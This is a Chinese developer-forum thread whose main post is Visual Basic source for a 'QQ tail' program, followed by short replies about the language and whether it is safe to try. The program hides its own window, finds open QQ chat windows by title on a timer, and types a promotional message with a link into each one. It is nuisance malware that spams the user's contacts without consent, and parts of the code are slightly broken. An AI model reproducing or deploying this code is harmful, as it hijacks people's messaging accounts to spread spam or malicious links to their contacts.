Netexpert FAQ 网络分析专家学习建议入口 @netexpert成员申请指南
netexpert积分规则的说明 Netis招贤纳士(2008年11月22日更新)
发新话题
打印

QQ尾巴演示代码(修正版)

QQ尾巴演示代码(修正版)

Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA " (ByVal hwnd As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByValhwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long

Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDLAST = 1
Private Const GW_HWNDNEXT = 2
Private Const GW_HWNDPREV = 3
Private Const GW_OWNER = 4

Private Const NILL = 0&
Private Const WM_SYSCOMMAND = &H112
Private Const SC_CLOSE = &HF060&

Function GetWin() As String
   Dim NhWnd As Long
   Dim Length, WinTitle$
   Dim OkWin As String
   
   NhWnd = GetWindow(hwnd, GW_HWNDFIRST)
   
   While NhWnd <> 0
       Length = GetWindowTextLength(NhWnd)
       WinTitle$ = Space$(Length + 1)
       Length = GetWindowText(NhWnd, WinTitle$, Length + 1)
      
       If InStr(LCase(WinTitle$), "发送消息") > 0 Or InStr(LCase(WinTitle$), "聊天中 ") > 0 Then OkWin = OkWin & "\\" & NhWnd
       End If
   
       NhWnd = GetWindow(NhWnd, GW_HWNDNEXT)
   Wend
   
   GetWin = OkWin
End Function


Sub SendInfo(ByVal Info As String)
   Dim OkWin, hCount
   OkWin = GetWin()
   'MsgBox OkWin
   If Len(OkWin) > 0 Then
       OkWin = Split(OkWin, "\\")
       For hCount = 0 To UBound(OkWin)
           If Len(OkWin(hCount)) > 0 Then
               'MsgBox OkWin(hCount)
               'MsgBox GetWinName(OkWin(hCount))
               AppActivate GetWinName(OkWin(hCount))
               SendKeys Info
               SendKeys "%(s)"
           End If
       Next
   End If
End Sub



Function GetWinName(ByVal WinID As Long) As String
   If WinID < 1 Then Exit Function
   Dim Length, WinTitle$
   Length = GetWindowTextLength(WinID)
   WinTitle$ = Space$(Length + 1)
   Length = GetWindowText(WinID, WinTitle$, Length + 1)
   GetWinName = WinTitle$
End Function

Private Sub Form_Load() '这个方法隐藏窗体很有用
   Me.Hide
   Me.Move -100, -100, 0, 0
End Sub

Private Sub Timer1_Timer()
   Call SendInfo("/mn 你看看我的大作发表了 /ka http://www.baidu.com 看看怎么样 /hx ,记得回帖哦! /mg  /wen")
End Sub

TOP

居然没有看懂是用哪种语言写的。。。。//sigh
信心源自实力,努力成就未来!
欢迎访问龙七客栈睿博工作室

TOP

是Visual Basic呀

TOP

我还以为是Delphi //真的是老眼昏花了
信心源自实力,努力成就未来!
欢迎访问龙七客栈睿博工作室

TOP

好东西,不过我可不想试试好使不?!

TOP

我不懂VB,不过仔细看还能看懂。
是不是只有点了回复才可以发送?现在很多挂号网页自动发送信息,那段话是怎么写的呢?楼铸有没有资料?

TOP

为什么不能试

可笑,这段代码中并没有自我复制能力,为什么不能试试.
这只是一个象大家平常所用的自用软件一样的软件罢了.

TOP

发新话题
版块跳转